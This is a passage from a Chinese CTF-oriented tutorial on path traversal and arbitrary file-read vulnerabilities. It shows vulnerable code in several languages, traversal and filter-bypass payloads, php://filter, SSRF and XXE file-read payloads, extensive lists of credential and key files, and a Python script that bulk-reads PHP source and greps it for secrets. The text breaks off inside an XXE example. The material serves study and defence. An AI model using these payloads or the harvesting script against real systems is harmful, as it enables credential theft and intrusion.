P03 路径穿越与文件读取漏洞

2022-03-10 CTF-WEB 詹英

梳理路径穿越(Path Traversal)与任意文件读取(Arbitrary File Read)漏洞的原理、危险函数、利用技巧、敏感文件速查与 WAF 绕过方法。

1、漏洞概述

1.1 定义与区别

漏洞类型 英文名 核心行为 危害
路径穿越 Path Traversal / Directory Traversal 使用 ../ 等跳出预期目录,访问任意路径 读取/写入/删除任意文件
任意文件读取 Arbitrary File Read 通过任意方式读取服务器文件内容 信息泄露、密钥获取、源码泄露
本地文件包含 Local File Inclusion (LFI) 包含本地文件并由解释器执行 RCE(见文件包含专题)

三者关系:

路径穿越  ──→  任意文件读取  ──→  信息收集 → 进一步攻击
                               ──→  密钥/密码 → 横向移动
                               ──→  源码审计 → 发现新漏洞
                               ──→  配合 LFI → RCE

1.2 危害等级与后果

危害 说明 等级
源码泄露 读取 PHP/Python/Java 源码,发现业务逻辑漏洞 🔴 严重
密钥/凭据泄露 .env、配置文件中的数据库密码、API Key 🔴 严重
SSH 私钥泄露 /root/.ssh/id_rsa → 直接 SSH 登录 🔴 严重
系统信息收集 内核版本、用户列表、进程、网络信息 🟡 高
二次利用 读取日志/配置 → 污染日志 → RCE 🔴 严重
认证绕过 读取 Session 文件、JWT 密钥 → 伪造身份 🔴 严重

1.2 根本原因

用户可控输入(filename / path / dir 参数)
             ↓
直接拼接到文件路径中(未规范化、未校验)
             ↓
操作系统解析 ../ 为"上级目录"
             ↓
实际访问路径超出预期目录范围 → 任意文件读取

1.3 PHP 最简单的场景

<?php
// ❌ 危险:直接将参数用于文件读取
$filename = $_GET['file'];
echo file_get_contents($filename);

// 攻击:?file=../../../../etc/passwd
// 攻击:?file=php://filter/convert.base64-encode/resource=index.php

带路径前缀拼接

<?php
// ❌ 危险:加了前缀但仍可穿越
$base = '/var/www/html/files/';
$file = $_GET['file'];
echo file_get_contents($base . $file);

// 攻击:?file=../../../../etc/passwd
// 实际路径:/var/www/html/files/../../../../etc/passwd → /etc/passwd

带后缀拼接

<?php
// ❌ 危险:后缀拼接 .log,但仍可读取任意 .log 文件
$log_dir = '/var/log/app/';
$module  = $_GET['module'];
$content = file_get_contents($log_dir . $module . '.log');

// 攻击(PHP < 5.3.4 空字节截断):?module=../../../../etc/passwd%00
// 攻击(穿越后读取已有 .log):?module=../../../../var/log/apache2/access

路径规范化不足

<?php
// ❌ 危险:只过滤了 ../ 但未规范化
$file = str_replace('../', '', $_GET['file']);
readfile('/files/' . $file);

// 绕过:?file=....//....//....//etc/passwd
// str_replace 处理后 ....// → ../ → 路径穿越

黑名单过滤不完整

<?php
// ❌ 危险:黑名单不完整
$file = $_GET['file'];
if (strpos($file, '../') !== false) die('No traversal!');
readfile('/var/www/html/files/' . $file);

// 绕过:?file=..%2f..%2f..%2fetc%2fpasswd   (URL 编码)
// 绕过:?file=..%252f..%252f..%252fetc%252fpasswd  (双重编码)
// 绕过:?file=/etc/passwd   (绝对路径,不含 ../)

1.4 其他语言的漏洞模式

Python(Flask/Django)

# ❌ 危险:直接用参数构造文件路径
from flask import Flask, request, send_file
import os

app = Flask(__name__)

@app.route('/download')
def download():
    filename = request.args.get('file')
    filepath = os.path.join('/var/www/files', filename)
    return send_file(filepath)
    # 攻击:?file=../../../../etc/passwd
    # os.path.join 遇到绝对路径会忽略前缀:
    # os.path.join('/var', '/etc/passwd') → '/etc/passwd'

@app.route('/read')
def read_file():
    path = request.args.get('path')
    # ❌ 直接打开用户提供的路径
    with open(path, 'r') as f:
        return f.read()

Java(Spring/Servlet)

// ❌ 危险:直接拼接路径
@GetMapping("/file")
public ResponseEntity<byte[]> getFile(@RequestParam String filename) throws IOException {
    String basePath = "/var/www/files/";
    Path filePath = Paths.get(basePath + filename);  // 未规范化
    byte[] content = Files.readAllBytes(filePath);
    return ResponseEntity.ok(content);
    // 攻击:?filename=../../../../etc/passwd
}

// ❌ 危险:使用 URL 直接读取(SSRF + 路径穿越)
URL url = new URL(request.getParameter("url"));
InputStream is = url.openStream();
// 攻击:?url=file:///etc/passwd

Node.js(Express)

// ❌ 危险:直接用参数读取文件
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

app.get('/file', (req, res) => {
    const filename = req.query.file;
    const filepath = '/var/www/files/' + filename;  // 危险!
    res.sendFile(filepath);
    // 攻击:?file=../../../../etc/passwd
});

// ❌ 危险:path.join 不能阻止绝对路径注入
app.get('/read', (req, res) => {
    const file = req.query.f;
    const full = path.join('/files', file);
    // path.join('/files', '../etc/passwd') → '/etc/passwd' ✅ 解析了穿越
    // 但 path.join('/files', '/etc/passwd') → '/etc/passwd' ❌ 绝对路径直通
    fs.readFile(full, 'utf8', (err, data) => res.send(data));
});

2、各语言危险函数全览

2.1 PHP 文件读取危险函数

函数 说明 是否执行代码 支持伪协议 风险
file_get_contents($path) 读取整个文件为字符串 🔴 严重
file($path) 读取文件为数组 🔴 严重
readfile($path) 直接输出文件内容 🔴 严重
fopen($path, $mode) 打开文件句柄 🔴 严重
fread($handle, $len) 读取文件句柄内容 🔴 严重
fgets($handle) 逐行读取 🔴 严重
include($path) 包含并执行 PHP 代码 🔴 严重
require($path) 包含并执行 PHP 代码 🔴 严重
highlight_file($path) 语法高亮显示 PHP 文件 🔴 严重
show_source($path) highlight_file 🔴 严重
copy($src, $dst) 复制文件(可复制到 Web 目录) 🔴 严重
file_put_contents($path, $data) 写入文件(写 WebShell) 🔴 严重
SplFileObject($path) 面向对象方式读取 🔴 严重
glob($pattern) 列举匹配路径的文件 🟡 高
scandir($path) 列举目录内容 🟡 高
opendir($path) 打开目录句柄 🟡 高
stat($path) 获取文件属性 🟡 中
file_exists($path) 判断文件是否存在 🟡 中
getimagesize($path) 获取图片信息 🟡 中

2.2 Python 文件读取危险函数

函数/方法 说明 风险
open(path, 'r') 打开文件读取 🔴 严重
os.open(path, flags) 低级文件打开 🔴 严重
pathlib.Path(path).read_text() 读取文件为字符串 🔴 严重
pathlib.Path(path).read_bytes() 读取文件为字节 🔴 严重
io.open(path, 'r') IO 模块读取 🔴 严重
urllib.request.urlopen('file://...') 通过 file:// 读取 🔴 严重
flask.send_file(path) Flask 文件发送 🔴 严重
flask.send_from_directory(dir, file) Flask 目录发送(相对安全但可绕过) 🟡 高
os.listdir(path) 列举目录 🟡 中
os.walk(path) 递归遍历目录 🟡 中
subprocess.run(['cat', path]) 通过命令读取 🔴 严重

2.3 Java 文件读取危险方法

// 危险的文件读取方式
Files.readAllBytes(Paths.get(userInput))
Files.readString(Paths.get(userInput))
new FileInputStream(userInput)
new File(userInput).toURI().toURL().openStream()
new URL("file://" + userInput).openStream()
Runtime.getRuntime().exec("cat " + userInput)

2.4 Node.js 文件读取危险函数

// 危险的文件读取方式
fs.readFile(userInput, callback)
fs.readFileSync(userInput)
fs.createReadStream(userInput)
require('fs').promises.readFile(userInput)
res.sendFile(userInput)          // Express(未限制根目录)
res.download(userInput)          // Express

2.5 Go 文件读取危险函数

// 危险的文件读取方式
os.Open(userInput)
os.ReadFile(userInput)
ioutil.ReadFile(userInput)
http.ServeFile(w, r, userInput)  // 未验证路径
filepath.EvalSymlinks(userInput) // 可读取软链接目标

3、基础路径穿越技巧

3.1 路径穿越基本原理

目标代码:readfile('/var/www/html/files/' . $file)

正常访问:$file = 'report.pdf'
实际路径:/var/www/html/files/report.pdf

路径穿越:$file = '../../../../etc/passwd'
实际路径:/var/www/html/files/../../../../etc/passwd
解析结果:/etc/passwd  ✅(操作系统自动解析 ../)

原理:../ 代表上级目录,到达根目录 / 后继续 ../ 仍在根目录
因此 /var/www/html/files/../../../../ = /(根目录)
无论当前目录深度,只要 ../ 足够多就能到达根目录

3.2 确定目录深度

# 方法一:暴力穷举(多加几个 ../ 不会出错)
../../../../../../../../etc/passwd        # 足够多的 ../ 必然到达根目录

# 方法二:通过错误信息判断
?file=nonexistent_test_file
# Warning: file_get_contents(/var/www/html/files/nonexistent_test_file): failed
# 从报错得知当前路径深度为 /var/www/html/files/ → 需要 4 层 ../

# 方法三:读取 /proc/self/cwd
?file=../../../proc/self/cwd           # 软链接指向当前工作目录
# 或
?file=../../../../proc/self/environ    # 包含 PWD 环境变量

# 方法四:二分猜测
?file=../../etc/passwd      # 不成功
?file=../../../etc/passwd   # 成功 → 说明深度是 3

3.3 绝对路径直接读取

# 当服务器不验证是否以指定目录开头时,直接用绝对路径
?file=/etc/passwd
?file=/etc/shadow
?file=/var/www/html/config.php

# Python os.path.join 绝对路径陷阱
# os.path.join('/files', '/etc/passwd') → '/etc/passwd'(绝对路径覆盖前缀)
?path=/etc/passwd    # 完全绕过路径前缀

# Node.js path.resolve 类似问题
# path.resolve('/base', '/etc/passwd') → '/etc/passwd'

3.4 读取文件内容的多种方式

# Linux 命令(命令注入场景)
cat /etc/passwd
tac /etc/passwd        # 反向输出
more /etc/passwd
less /etc/passwd
head -n 20 /etc/passwd
tail -n 20 /etc/passwd
nl /etc/passwd         # 带行号
od -c /etc/passwd      # 八进制
xxd /etc/passwd        # Hex dump
strings /etc/passwd
grep . /etc/passwd     # 输出所有行
awk '{print}' /etc/passwd
sed -n '1,20p' /etc/passwd  # 读取指定行范围
cut -d: -f1 /etc/passwd     # 只输出用户名字段

# 复制到可访问位置
cp /etc/passwd /var/www/html/p.txt
ln -s /etc/passwd /var/www/html/p.txt   # 软链接

# 利用 Base64 绕过某些内容过滤
base64 /etc/passwd | base64 -d
openssl base64 -in /etc/passwd

# Python 读取
python3 -c "print(open('/etc/passwd').read())"
python3 -c "import base64; print(base64.b64encode(open('/etc/passwd','rb').read()).decode())"

# 利用 dd
dd if=/etc/passwd bs=1 skip=0 count=100

# 利用 tr
tr -d '\n' < /etc/passwd   # 删除换行输出

3.5 无权限文件读取技巧

# /etc/shadow 通常需要 root 权限,但有以下方式尝试

# 方法一:文件软链接(若上传目录允许软链接)
ln -s /etc/shadow /var/www/html/uploads/shadow.txt
# 访问 http://target.com/uploads/shadow.txt

# 方法二:通过 SUID 程序读取
find / -perm -4000 2>/dev/null   # 找 SUID 程序
# 某些 SUID 程序(如 find、vim)可读取任意文件

# 方法三:/proc/sysrq-trigger(某些极端场景)
# 方法四:竞争条件 + 软链接(Race Condition)

4、敏感文件速查

4.1 Linux 系统认证与用户信息

# 用户与认证(最常读取)
/etc/passwd             # 用户列表(含用户名、UID、GID、HOME、Shell)
/etc/shadow             # 密码哈希(通常需要 root)
/etc/group              # 用户组信息
/etc/gshadow            # 组密码哈希
/etc/sudoers            # sudo 权限配置
/etc/sudoers.d/*        # sudo 额外配置

# SSH 密钥(极高价值)
/root/.ssh/id_rsa                    # root SSH 私钥(直接登录)
/root/.ssh/id_ed25519                # 新格式私钥
/root/.ssh/authorized_keys           # 授权公钥列表
/root/.ssh/known_hosts               # 已知主机(泄露内网信息)
/home/{user}/.ssh/id_rsa             # 普通用户私钥
/home/{user}/.ssh/authorized_keys
/home/{user}/.ssh/config             # SSH 客户端配置(含主机信息)

# 历史命令(可能含密码)
/root/.bash_history
/root/.zsh_history
/root/.sh_history
/home/{user}/.bash_history
/home/{user}/.mysql_history          # MySQL 命令历史
/home/{user}/.psql_history           # PostgreSQL 命令历史
/home/{user}/.python_history

2.2 Linux 系统配置与信息

# 操作系统信息
/etc/os-release                      # 系统版本(含发行版名称)
/etc/debian_version                  # Debian 版本
/etc/redhat-release                  # RedHat/CentOS 版本
/etc/alpine-release                  # Alpine Linux
/proc/version                        # 内核版本字符串
/proc/sys/kernel/osrelease           # 内核版本号

# 网络配置
/etc/hosts                           # 主机名解析(泄露内网 IP/域名)
/etc/hostname                        # 主机名
/etc/resolv.conf                     # DNS 服务器配置
/etc/network/interfaces              # 网络接口配置(Debian)
/etc/sysconfig/network-scripts/*     # 网络配置(CentOS)
/proc/net/tcp                        # TCP 连接(Hex 格式,含内网端口)
/proc/net/tcp6                       # IPv6 TCP 连接
/proc/net/udp                        # UDP 连接
/proc/net/fib_trie                   # 路由表(含内网 IP)
/proc/net/arp                        # ARP 缓存(内网主机)
/proc/net/if_inet6                   # IPv6 接口地址
/proc/net/dev                        # 网络设备统计

# 定时任务
/etc/crontab                         # 系统定时任务
/etc/cron.d/*                        # 额外 cron 配置
/etc/cron.daily/*                    # 每日任务
/etc/cron.hourly/*                   # 每小时任务
/var/spool/cron/crontabs/*           # 用户 crontab
/var/spool/cron/crontabs/root        # root 的 crontab

4.3 Linux 应用与服务配置

# Web 服务器(Apache)
/etc/apache2/apache2.conf            # Apache 主配置
/etc/apache2/sites-enabled/*.conf    # 虚拟主机配置
/etc/apache2/ports.conf              # 端口配置
/etc/apache2/.htpasswd               # 认证用户密码
/usr/local/apache2/conf/httpd.conf   # 编译安装路径

# Web 服务器(Nginx)
/etc/nginx/nginx.conf                # Nginx 主配置
/etc/nginx/sites-enabled/*           # 站点配置
/etc/nginx/conf.d/*.conf             # 额外配置
/usr/local/nginx/conf/nginx.conf     # 编译安装路径

# 数据库配置
/etc/mysql/mysql.conf.d/mysqld.cnf   # MySQL 配置
/etc/mysql/my.cnf                    # MySQL 全局配置
/root/.my.cnf                        # MySQL root 凭据(含密码!)
/home/{user}/.my.cnf                 # 用户 MySQL 凭据
/etc/postgresql/*/main/pg_hba.conf   # PostgreSQL 认证配置
/etc/postgresql/*/main/postgresql.conf  # PostgreSQL 主配置
/var/lib/pgsql/data/pg_hba.conf      # PostgreSQL 数据目录

# PHP 配置
/etc/php/*/php.ini                   # PHP 主配置
/etc/php/*/fpm/pool.d/www.conf       # PHP-FPM 池配置
/etc/php/*/cli/php.ini               # CLI 模式配置
/usr/local/lib/php.ini               # 编译安装路径

# Redis
/etc/redis/redis.conf                # Redis 配置(含 requirepass 密码)
/etc/redis.conf

4.4 Linux 日志文件(可用于日志污染 → RCE)

# Web 服务器日志
/var/log/apache2/access.log          # Apache 访问日志
/var/log/apache2/error.log           # Apache 错误日志
/var/log/nginx/access.log            # Nginx 访问日志
/var/log/nginx/error.log             # Nginx 错误日志
/usr/local/apache/log/access_log     # 编译安装路径
/usr/local/apache2/log/access_log

# 系统日志
/var/log/auth.log                    # SSH 认证日志(Ubuntu/Debian)
/var/log/secure                      # SSH 认证日志(CentOS/RHEL)
/var/log/syslog                      # 系统日志
/var/log/messages                    # 系统消息
/var/log/dmesg                       # 内核启动日志
/var/log/boot.log                    # 启动日志
/var/log/mail.log                    # 邮件日志
/var/log/cron.log                    # Cron 日志

# 应用日志(含凭据、Token 等敏感信息)
/var/log/mysql/error.log             # MySQL 错误日志(可含密码)
/var/log/postgresql/*.log            # PostgreSQL 日志

4.5 Linux 容器与云环境特有文件

# Docker 环境
/.dockerenv                          # 判断是否在容器内
/proc/1/cgroup                       # 包含 docker 字样则在容器内
/run/secrets/*                       # Docker secrets
/var/run/docker.sock                 # Docker 守护进程 socket(极高价值)
/etc/docker/daemon.json              # Docker 配置

# Kubernetes
/var/run/secrets/kubernetes.io/serviceaccount/token   # K8s Service Account Token
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt  # CA 证书
/var/run/secrets/kubernetes.io/serviceaccount/namespace  # 命名空间
/proc/1/environ                      # 包含 K8s 环境变量和 Secrets

# 云环境元数据
# AWS EC2 元数据(SSRF 场景):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/

# GCP 元数据:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure 元数据:
http://169.254.169.254/metadata/instance?api-version=2021-02-01

4.6 Windows 系统关键文件

# 系统配置
C:\Windows\win.ini                              # Windows 配置(经典测试目标)
C:\Windows\System32\drivers\etc\hosts           # Hosts 文件
C:\Windows\System32\drivers\etc\networks        # 网络配置
C:\Windows\System32\config\SAM                  # SAM 密码数据库(需 SYSTEM 权限)
C:\Windows\repair\sam                           # SAM 备份(可能可读)
C:\Windows\repair\system                        # SYSTEM 备份
C:\Windows\System32\config\SYSTEM               # SYSTEM 注册表
C:\Windows\System32\config\SOFTWARE             # SOFTWARE 注册表
C:\Windows\System32\config\SECURITY             # SECURITY 注册表

# 用户相关
C:\Users\Administrator\Desktop\flag.txt         # CTF 常见 flag 位置
C:\Users\Administrator\.ssh\id_rsa
C:\Users\{user}\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt  # PS 历史命令(含密码!)
C:\Users\{user}\AppData\Roaming\.purple\accounts.xml  # Pidgin 账户(含凭据)
C:\Users\{user}\.bash_history                   # WSL 用户历史

# 凭据文件
C:\Windows\System32\config\RegBack\SAM          # SAM 注册表备份
C:\Windows\NTDS\ntds.dit                        # AD 域控数据库(含所有密码哈希)
C:\Windows\System32\GroupPolicy\Preferences\Groups\Groups.xml  # GPP 明文密码(历史漏洞)

4.7 Windows Web 服务器配置

# IIS
C:\inetpub\wwwroot\web.config                   # IIS 应用配置(含连接字符串)
C:\inetpub\wwwroot\global.asax                  # ASP.NET 全局文件
C:\Windows\System32\inetsrv\config\applicationHost.config  # IIS 主配置
C:\Windows\Microsoft.NET\Framework64\{ver}\config\web.config  # .NET 默认配置

# XAMPP
C:\xampp\apache\conf\httpd.conf                 # Apache 配置
C:\xampp\apache\conf\extra\httpd-vhosts.conf    # 虚拟主机
C:\xampp\php\php.ini                            # PHP 配置
C:\xampp\phpMyAdmin\config.inc.php              # phpMyAdmin 配置(含 MySQL root 密码)
C:\xampp\mysql\bin\my.ini                       # MySQL 配置
C:\xampp\apache\logs\access.log                 # 访问日志
C:\xampp\apache\logs\error.log                  # 错误日志

4.8 Windows 应用程序凭据

# 数据库客户端
C:\Program Files\MySQL\MySQL Server *\my.ini    # MySQL 配置
C:\ProgramData\MySQL\MySQL Server *\my.ini
C:\Users\{user}\.my.cnf                         # MySQL 用户凭据

# SSH 客户端(PuTTY)
HKCU\Software\SimonTatham\PuTTY\Sessions\*      # PuTTY 保存的会话(含 IP/用户名)
C:\Users\{user}\AppData\Roaming\MobaXterm\      # MobaXterm 配置

# 浏览器凭据
C:\Users\{user}\AppData\Local\Google\Chrome\User Data\Default\Login Data  # Chrome 密码(SQLite)
C:\Users\{user}\AppData\Roaming\Mozilla\Firefox\Profiles\*\logins.json    # Firefox 密码

# WinSCP
C:\Users\{user}\AppData\Roaming\WinSCP.ini      # WinSCP 配置(含凭据)

4.9 Web 应用通用配置文件

# 环境变量配置(最高价值)
/.env                           # Laravel / Node.js / Django 等框架配置
/.env.local                     # 本地覆盖配置
/.env.production                # 生产环境配置
/.env.backup                    # 配置备份(常被遗忘)
/.env.old
/.env.bak
/.env.example                   # 示例配置(可能包含真实密钥)
/.env.dev
/.env.staging

# 各类配置文件
/config.php                     # PHP 通用配置
/config.inc.php
/configuration.php
/settings.php
/database.php
/db.php
/db_config.php
/connect.php
/connection.php
/application.properties         # Spring Boot
/application.yml
/application.yaml
/bootstrap.php
/wp-config.php                  # WordPress(含数据库密码)
/wp-config.php.bak              # WordPress 配置备份
/configuration.php              # Joomla
/config/config.inc.php          # phpMyAdmin
/config/database.php            # CodeIgniter / Laravel
/app/config/config.php          # Codeigniter
/application/config/database.php  # ThinkPHP 3.x
/config/database.php            # ThinkPHP 5.x / Laravel
/.htpasswd                      # Apache 认证密码文件
/.htaccess                      # Apache 目录配置

4.10 Web 应用CMS 配置文件

# WordPress
/wp-config.php                              # 数据库配置(DB_PASSWORD 等)
/wp-content/debug.log                       # 调试日志
/wp-includes/version.php                    # WordPress 版本
/.wp-cli/config.yml                         # WP-CLI 配置

# Joomla
/configuration.php                          # 数据库配置
/administrator/manifests/files/joomla.xml   # 版本信息

# Drupal
/sites/default/settings.php                 # 数据库配置
/sites/default/settings.local.php           # 本地配置(可能含密钥)

# Magento
/app/etc/env.php                            # 数据库配置、加密密钥
/app/etc/local.xml                          # 旧版配置

# Laravel
/.env                                       # 所有配置(DB_PASSWORD、APP_KEY 等)
/storage/logs/laravel.log                   # 应用日志(可能含 Debug 信息)
/config/app.php                             # 应用配置(APP_KEY)
/config/database.php                        # 数据库配置

# Django
/settings.py                                # SECRET_KEY、数据库配置
/local_settings.py                          # 本地配置覆盖
/.secret_key

# Spring Boot
/src/main/resources/application.properties # 数据库URL、密码
/src/main/resources/application.yml
/BOOT-INF/classes/application.properties   # 打包后路径
/WEB-INF/classes/application.properties

4.11 Web 应用备份文件与源码泄露

# 常见备份文件(通过修改 URL 猜测)
index.php.bak
index.php~
index.php.swp              # Vim 临时文件
.index.php.swp             # Vim 隐藏临时文件
index.php.swo
config.php.bak
config.php.old
config.php.backup
config.php.zip

# 源码压缩包
.git/                      # Git 仓库(git-dumper 工具提取)
.git/config                # Git 配置(含 remote URL)
.git/HEAD                  # 当前分支
.git/COMMIT_EDITMSG        # 最后提交信息
.svn/entries               # SVN 仓库信息
.svn/wc.db                 # SVN 工作副本数据库(含文件列表)
.hg/                       # Mercurial 仓库
.DS_Store                  # macOS 目录信息(泄露文件名)
WWW.zip / www.zip          # 网站源码压缩包
backup.zip / website.zip / source.zip
web.tar.gz / wwwroot.tar.gz

4.12 /proc 虚拟文件系统利用

/proc 是 Linux 内核暴露的虚拟文件系统,包含大量进程和系统信息,在文件读取场景中具有极高价值。

4.12.1 核心文件速查

# 当前进程相关(/proc/self/ → 自动指向当前进程)
/proc/self/environ          # 当前进程的环境变量(含 SECRET_KEY、DB_PASSWORD 等)
/proc/self/cmdline          # 当前进程的命令行(含启动参数、配置文件路径)
/proc/self/cwd              # 当前工作目录(软链接,ls /proc/self/cwd)
/proc/self/exe              # 当前进程的可执行文件(软链接)
/proc/self/maps             # 内存映射(含加载的库路径)
/proc/self/status           # 进程状态信息(UID、GID、内存使用)
/proc/self/limits           # 进程资源限制
/proc/self/fd/              # 打开的文件描述符(可读取日志等文件)
/proc/self/fd/0             # 标准输入
/proc/self/fd/1             # 标准输出
/proc/self/fd/2             # 标准错误
/proc/self/fd/3             # 通常是第一个打开的文件(日志等)
/proc/self/fdinfo/          # 文件描述符详情(含文件偏移)
/proc/self/mem              # 进程内存(可读取内存中的数据)
/proc/self/net/tcp          # 当前进程的 TCP 连接
/proc/self/mounts           # 挂载点(泄露路径、NFS 配置)
/proc/self/mountinfo        # 详细挂载信息

# 其他进程(PID 枚举)
/proc/1/cmdline             # PID 1(init/systemd)的命令行
/proc/1/environ             # PID 1 的环境变量
/proc/{N}/cmdline           # 枚举其他进程(N = 1, 2, 3...)
/proc/{N}/environ           # 其他进程环境变量
/proc/{N}/exe               # 其他进程的可执行文件

# 系统级信息
/proc/version               # Linux 内核版本字符串
/proc/cpuinfo               # CPU 信息
/proc/meminfo               # 内存信息
/proc/mounts                # 系统挂载点
/proc/filesystems           # 支持的文件系统类型
/proc/loadavg               # 系统负载
/proc/uptime                # 系统运行时间
/proc/sys/kernel/hostname   # 主机名
/proc/sys/kernel/ostype     # 操作系统类型
/proc/sys/kernel/osrelease  # 内核版本
/proc/sysrq-trigger         # SysRq 触发器(危险!)

# 网络信息(/proc/net/)
/proc/net/tcp               # TCP 连接(本地/远程地址为 Hex 编码)
/proc/net/tcp6              # IPv6 TCP
/proc/net/udp               # UDP 连接
/proc/net/arp               # ARP 表(内网主机发现)
/proc/net/fib_trie          # 路由表(含内网 IP)
/proc/net/dev               # 网络接口统计
/proc/net/if_inet6          # IPv6 接口地址
/proc/net/route             # 路由表(Hex 格式)
/proc/net/unix              # Unix Domain Socket
/proc/net/netstat           # 网络统计

4.12.2 /proc/net/tcp 解析

/proc/net/tcp 中的地址为小端序十六进制,需要手动解析:

# /proc/net/tcp 内容示例:
# sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt
# 0: 00000000:0050 00000000:0000 0A ...
# local_address = 00000000:0050
# 地址部分:00000000 → 大端转换 → 0.0.0.0
# 端口部分:0050 → 十进制 → 80

def parse_proc_net_tcp(content):
    """解析 /proc/net/tcp 的地址信息"""
    import socket, struct
    for line in content.strip().split('\n')[1:]:
        fields = line.strip().split()
        if len(fields) < 4: continue
        local = fields[1]
        remote = fields[2]
        state = fields[3]

        def parse_addr(addr_str):
            ip_hex, port_hex = addr_str.split(':')
            # IP: 小端序转换
            ip = socket.inet_ntoa(struct.pack('<I', int(ip_hex, 16)))
            port = int(port_hex, 16)
            return f"{ip}:{port}"

        print(f"  Local: {parse_addr(local)} → Remote: {parse_addr(remote)} State: {state}")

# 直接 shell 解析
# awk '/[0-9]/ {print $2}' /proc/net/tcp | awk -F: '{printf "%d.%d.%d.%d:%d\n", strtonum("0x" substr($1,7,2)), strtonum("0x" substr($1,5,2)), strtonum("0x" substr($1,3,2)), strtonum("0x" substr($1,1,2)), strtonum("0x" $2)}'

4.12.3 /proc/self/environ 利用

# 读取 /proc/self/environ(CTF 中常包含 flag 或密钥)
# 内容格式:变量名=值\x00变量名=值\x00...(以 \x00 分隔)

# 解析命令
cat /proc/self/environ | tr '\0' '\n'
strings /proc/self/environ

# Web 请求读取(LFI 场景)
?file=../../../../proc/self/environ

# 常见包含的敏感变量
SECRET_KEY=...          # 应用密钥
DATABASE_URL=...        # 数据库连接字符串
DB_PASSWORD=...         # 数据库密码
API_KEY=...             # API 密钥
AWS_ACCESS_KEY_ID=...   # AWS 密钥
JWT_SECRET=...          # JWT 签名密钥
FLAG=ctf{...}           # CTF flag(有时直接在环境变量中!)

4.12.4 /proc/self/fd 文件描述符读取

# Apache / PHP-FPM 进程通常保持日志文件的文件描述符
# 通过枚举 fd,即使不知道日志路径也能读取

# 暴力枚举 fd/0 到 fd/50
for i in $(seq 0 50); do
    echo "=== fd/$i ===" 
    cat /proc/self/fd/$i 2>/dev/null | head -5
done

# 通过 LFI 枚举(日志污染 + fd 读取)
?file=../../../../proc/self/fd/10
?file=../../../../proc/self/fd/11
...

# /proc/self/fdinfo/{N} 查看文件描述符指向
cat /proc/self/fdinfo/3
# pos: 12345
# flags: 100000
# mnt_id: 18

# 读取 /proc/self/fd 目录本身(ls 操作)
ls -la /proc/self/fd
# lrwx------ 0 -> /dev/pts/0
# lrwx------ 1 -> /dev/pts/0
# l-wx------ 2 -> /var/log/apache2/error.log  ← 找到日志路径
# lr-x------ 3 -> /var/log/apache2/access.log ← 找到日志路径

5、特殊文件读取技巧

5.1 读取 PHP 源码(不触发执行)

# 方法一:php://filter(最稳定)
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=config.php
?file=php://filter/convert.base64-encode/resource=../config/database.php

# 解码
echo "PD9waHAK..." | base64 -d
python3 -c "import base64,sys; print(base64.b64decode(sys.stdin.read()).decode())"

# 方法二:ROT13 编码(不会触发 PHP 执行,但输出 ROT13 编码内容)
?file=php://filter/string.rot13/resource=index.php

# 方法三:iconv 编码转换(绕过内容检测)
?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php
# 返回 UTF-16 编码的源码,可转回 UTF-8 还原

# 方法四:多重过滤(组合使用)
?file=php://filter/string.rot13|convert.base64-encode/resource=index.php

# 方法五:zlib 压缩(某些场景可用于绕过检测)
?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php
# 解码:
echo "..." | base64 -d | python3 -c "import sys,zlib; print(zlib.decompress(sys.stdin.buffer.read()).decode())"

5.2 批量读取源码脚本

import requests
import base64
import sys

TARGET = "http://target.com/index.php"
PARAM  = "file"

# 常见 PHP 文件列表
PHP_FILES = [
    'index.php', 'config.php', 'database.php', 'db.php',
    'connect.php', 'common.php', 'functions.php', 'init.php',
    'header.php', 'footer.php', 'login.php', 'admin.php',
    'upload.php', 'download.php', 'view.php', 'edit.php',
    '../config.php', '../inc/config.php', '../include/config.php',
    '../application/config/database.php',
]

def read_php(filename):
    """通过 php://filter 读取 PHP 源码"""
    payload = f"php://filter/convert.base64-encode/resource={filename}"
    try:
        r = requests.get(TARGET, params={PARAM: payload}, timeout=10)
        if r.status_code == 200 and len(r.text) > 0:
            # 提取 base64 内容(去除 HTML 等干扰)
            b64 = r.text.strip()
            decoded = base64.b64decode(b64 + '==').decode('utf-8', errors='ignore')
            return decoded
    except Exception:
        pass
    return None

def read_file(filename):
    """直接读取文件"""
    try:
        r = requests.get(TARGET, params={PARAM: filename}, timeout=10)
        if r.status_code == 200 and len(r.text) > 0:
            return r.text
    except Exception:
        pass
    return None

print("[*] Scanning PHP source files...")
for f in PHP_FILES:
    result = read_php(f)
    if result and '<?php' in result:
        print(f"\n[+] Found: {f} ({len(result)} bytes)")
        # 提取关键信息
        for line in result.splitlines():
            lower = line.lower()
            if any(k in lower for k in ['password', 'passwd', 'secret', 'key', 'token', 'salt', 'database', 'host']):
                print(f"    [!] {line.strip()}")

5.3 利用 SSRF 读取文件

# 当存在 SSRF 漏洞时,可用 file:// 协议读取本地文件
?url=file:///etc/passwd
?url=file:///etc/shadow
?url=file:///var/www/html/config.php
?url=file://localhost/etc/passwd
?url=file:///C:/Windows/win.ini           # Windows

# 利用 gopher:// 读取(某些 SSRF 场景)
# 利用 dict:// 探测服务
# 利用 ftp:// 读取(某些配置)

# Java / Spring 场景
?url=file:/etc/passwd               # 单斜杠
?url=file:///etc/passwd             # 三斜杠标准写法
?url=jar:file:///etc/passwd!/       # Jar 协议

# Python urllib
?url=file:///etc/passwd
?url=file://127.0.0.1/etc/passwd

5.4 利用 XXE 读取文件

<!-- 基础 XXE 读取文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- 读取 PHP 文件(Base64 防止特殊字符破坏 XML) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root>&xxe;</root>

<!-- 带外(OOB)读取(无回显 XXE) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
